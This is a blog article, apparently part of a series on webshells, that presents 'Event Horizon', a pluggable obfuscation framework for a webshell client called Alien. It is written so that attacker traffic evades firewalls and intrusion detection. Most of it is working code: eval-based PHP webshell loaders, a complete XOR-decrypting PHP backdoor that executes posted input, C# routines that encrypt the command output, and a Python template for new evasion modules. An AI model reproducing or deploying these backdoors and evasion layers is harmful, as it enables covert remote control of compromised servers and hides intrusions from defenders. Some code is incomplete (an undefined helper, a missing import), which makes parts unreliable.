Event Horizon: An Obfuscation Framework of Alien

First Post:

Last Update:

Word Count:
1.8k

Read Time:
10 min

Introduction

This article is part of the Inside Different Generations of WebShells series.

In the previous articles, I introduced the design philosophy behind OneShells, NebulaPulsar, and Alien. Together, the provide a flexible framework for post-exploitation across multiple scripting languages and platforms.

  1. Understanding WebShells
  2. CGI WebShells
  3. Java and C#

However, arbitrary code execution alone is not enough in real-world environments. Modern web application firewall (WAFs) and intrusion detection systems (IDSs) continue to improve, making static webshell traffic increasingly easy to detect.

This article introduces Event Horizon, the obfuscation framework used by Alien. Rather than implementing a fixed obfuscation algorithm, Event Horizon provides a pluggable architecture that allows users to customized how HTTP requests and responses are transformed.

Issues of Detection

Traditional OneShells are simple and effective. They allow arbitrary code execution through a single HTTP request and are widely used during penetration testing and post-exploitation.

Unfortunately, this simplicity also makes them easy to detect.

For example, a traditional PHP OneShell typically contains a loader similar to the followings:

1
pass=@eval(base64_decode('Base64 payload'));

Although the payload itself is encoded, the loader remains static. From the defender’s perspective, deteting signatures such as eval(base64_decoded( is often sufficient to identify malicious traffic.

Moreover, the HTTP response is in plaintext, making the communication channel channel even more recognizable.

As we can see in the screenshot above, not only the keyword is very obvious, also the result of executing a cmd command is obvious as well.

Existing Solutions

In the past, some researchers introduced more complicated loaders to solve the problem.

For example:

1
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('Base64 payload'));\");"));

These techniques certainly increase the complexity of the payload.

However, they still rely on a static loader.

Once defenders learn how the loader is constructed, new signatures can be added to WAFs or IDSs, resulting in the same detection problem.

This naturally leads to a different philosophy:

Instead of making the loader more complicated, why ot make both the loader and the communication fully customizable?

This is the initial idea of EventHorizon. In truth, I removed all the features as possible as I can.

Event Horizon

Instead of embedding obfuscation logic directly into Alien, Event Horizon runs as a lightweight local server.

Whenever Alien is about to send an HTTP request, it forwards the payload to Event Horizon. Event Horizon then executes the selected tamper script, transforms the payload, and returns the obfuscated result back to Alien.

This design separates the client from the obfuscation logic, allowing new tamper scripts to be added without modifying Alien itself.

Bilateral Obfuscation

Request Obfuscation

One of the design goals of Event Horizon is to obfuscate the entire communication channel rather than only the loader. Therefore, every HTTP request is processed by the selected tamper script before it is sent to the target server.

The screenshot below shows an example using the XOR tamper script with the key secret:

As shown above, the original PHP payload is no longer visible in the HTTP request. Instead, the entire payload is encrypted using XOR and then encoded in Base64 before transmission. Consequently, traditional signatures such as eval(base64_decoded()) are no longer exposed on the network.

However, this imeediately introduces another problem.

If the HTTP request contains only encrypted data, how can the target OneShell recover and execute the original payload?

The solution is to generate a matching OneShell that contains the corresponding de-obfuscation routine. For example, when the XOR tamper script is selected, we can generates the following PHP OneShell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

function xor_crypt($data, $key) {
$out = '';
$keyLength = strlen($key);
$dataLength = strlen($data);

for ($i = 0; $i < $dataLength; $i++) {
$out .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));
}

return $out;
}

$KEY = "secret";
$rawInput = file_get_contents("php://input");
$encryptedBytes = base64_decode($rawInput);
$decrypted = xor_crypt($encryptedBytes, $KEY);
eval($decrypted);

?>

The generated OneShell first decodes the incoming Base64 data, decrypts it using the configured XOR key, and finally executes the recovered payload using eval().

At first glance, this approach may appear less flexible than a traditional OneShell because the de-obfuscation routine is embedded inside the backdoor. In practice, however, this is simply the trade-off required for traffic obfuscation. The generated OneShell can still be protected using existing PHP obfuscation techniques, making reverse engineering significantly more difficult.

To simplify development, Event Horizon also provides a backdoor builder integrated into Alien. Users only need to select a tamper script and its corresponding parameters, and Alien automatically generates a compatible OneShell.

Response Obfuscation

Obfuscating only HTTP requests is not sufficient.

Although the request payload is now encrypted, the HTTP response still exposes the execution result in plaintext. An observer can therefore still recover command output directly from the network traffic.

To address this issue, EventHorizon also supports response obfuscation through Wrapping Functions.

Whenever Alien generates a payload, it first queries the selected tamper script for a wrappign function. This wrapping function is then injected automatically into the generated payload before it is transmitted to the target.

For example, the following code demonstrates how Alien injects wrapping functions for PHP and VBScrip payloads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
private static string fnWrapPHP(string szOriginalPayload, string szEncryptor)
{
if (szEncryptor == "*")
return szOriginalPayload;

string szHeader =
"\r\n" +
(string.IsNullOrEmpty(szEncryptor) ?
"function Encrypt($data) {\r\n" +
" // TODO: Add PHP encryption logic here\r\n" +
" return $data;\r\n" +
"}" : szEncryptor) +
"\r\n" +
"ob_start();\r\n\r\n";

string szFooter =
"\r\n\r\n$globalStringOutput = ob_get_clean();\r\n" +
"echo Encrypt($globalStringOutput);\r\n" +
"";

string szProcessed = szOriginalPayload.Replace("<?php", "").Replace("?>", "");

return $"{szHeader}{szProcessed}{szFooter}";
}

private static string fnWrapVBScript(string szOriginalPayload, string szEncryptor)
{
string szProcessed = szOriginalPayload;
szProcessed = Regex.Replace(szProcessed, @"\bResponse\.Write\b", "globalStringOutput = globalStringOutput & ", RegexOptions.IgnoreCase);
szProcessed = Regex.Replace(szProcessed, @"\becho\b", "globalStringOutput = globalStringOutput & ", RegexOptions.IgnoreCase);

if (szEncryptor == "*")
return szProcessed;

string szVbEncryptor = "";
if (string.IsNullOrEmpty(szEncryptor))
{
szVbEncryptor =
"Function Encrypt(data)\r\n" +
" ' TODO: do something\r\n" +
" Encrypt = data\r\n" +
"End Function\r\n";
}
else
{
szVbEncryptor = szEncryptor;
}

string szHeader =
"\r\n" +
"Dim globalStringOutput\r\n" +
"globalStringOutput = \"\"\r\n\r\n" +
szVbEncryptor + "\r\n\r\n";

string szFooter = "\r\n\r\nResponse.Write(Encrypt(globalStringOutput))\r\n";

return $"{szHeader}{szProcessed}{szFooter}";
}

Instead of writing directly to the HTTP response, the payload first stores its output inside an internal buffer. Once execution finishes, the injected wrapping function encrypts the buffered data before sending it back to Alien.

As a result, both HTTP requests and HTTP responses are protected by the same tamper algorithm. The entire communication channel is therefore obfuscated, rather than only the initial payload.

The screenshot below shows the final network traffic captured using Wireshark:

As a result, recognizable payload signatures and plaintext outputs are no longer directly observable in captured HTTP traffic.

How to Write a Tampering Script

One of the design goals of Event Horizon is extensibility.

Adding a new tamper algorithm requires only a single Python module.

First, open the directory ./Tamper/obfuscators, and add a new tamper script XOR.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# Return the wrapping function for injection
def obfuscator(payload, script, key, **kwargs):
if script in dicObfuscator.keys():
return dicObfuscator[script].replace('[XOR_KEY]', key)
else:
return ''

# Return payload to Alien UI wizard
def build(payload, script, key, **kwargs):
if script in dicPayload.keys():
return dicPayload[script].replace('[XOR_KEY]', key)
else:
return ''

# Return the example of parameters
def example(payload, **kwargs):
return json.dumps(PARAM_SCHEM, indent=4)

# Just copy this for every tampering script
def available(payload, **kwargs):
scripts = []
for script in dicPayload.keys():
if not script in dicObfuscator.keys():
continue

scripts.append(script)

return ','.join(scripts)

# Obfuscate the HTTP POST data
def obfuscate(payload, encoding='utf-8', key="secret", **kwargs):
data_bytes = payload.encode(encoding)
key_bytes = key.encode(encoding)

out = bytearray()
key_len = len(key_bytes)
for i, byte in enumerate(data_bytes):
out.append(byte ^ key_bytes[i % key_len])

return base64.b64encode(bytes(out)).decode('ascii')

# De-obfuscate the HTTP response
def deobfuscate(payload, encoding='utf-8', key="default_key", **kwargs):
encrypted_bytes = base64.b64decode(payload.encode(encoding))
key_bytes = key.encode(encoding)

decrypted_bytes = _xor_crypt(encrypted_bytes, key_bytes)
return decrypted_bytes.decode(encoding)

Also, add the description and parameters JSON:

1
2
3
4
5
6
PARAM_SCHEM = {
"key" : "secret",
"encoding" : "utf-8"
}

HELP = 'Obfuscate the payload with XOR.'

Finally, don’t forget the obfuscator and payload template:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import json

dicObfuscator = {
'PHP' : textwrap.dedent('''
function Encrypt($data) {
$key = '[XOR_KEY]';
$out = '';
$keyLength = strlen($key);
$dataLength = strlen($data);

for ($i = 0; $i < $dataLength; $i++) {
$out .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));
}

return base64_encode($out);
}
''').strip(),
}

dicPayload = {
'PHP' : textwrap.dedent('''
<?php

function xor_crypt($data, $key) {
$out = '';
$keyLength = strlen($key);
$dataLength = strlen($data);

for ($i = 0; $i < $dataLength; $i++) {
$out .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));
}

return $out;
}

$KEY = "[XOR_KEY]";
$rawInput = file_get_contents("php://input");
$encryptedBytes = base64_decode($rawInput);
$decrypted = xor_crypt($encryptedBytes, $KEY);
eval($decrypted);

?>
''').strip(),
}

Once the script is placed inside the ./Tamper/obfuscators directory, it automatically becomes available inside Alien.

Conclusion

This article introduced Event Horizon, the obfuscation framework used by Alien.

Unlike traditional OneShell clients that rely on static loaders, Event Horizon separates the obfuscation logic from the client itself. By treating obfuscation as a pluggable component, users can freely implement their own tamper algorithms without modifying Alien.

Another important feature of Event Horizon is bilateral obfuscation. Both HTTP requests and responses can be transformed automatically, allowing the communication channel to be customized according to different environments.

Although the current implementation focuses on OneShells, the framework itself is designed to be extensible. Additional scripting languages, obfuscation algorithms, and communication strategies can all be integrated in future versions.

Feedback and suggestions are always welcome!

THANKS FOR READING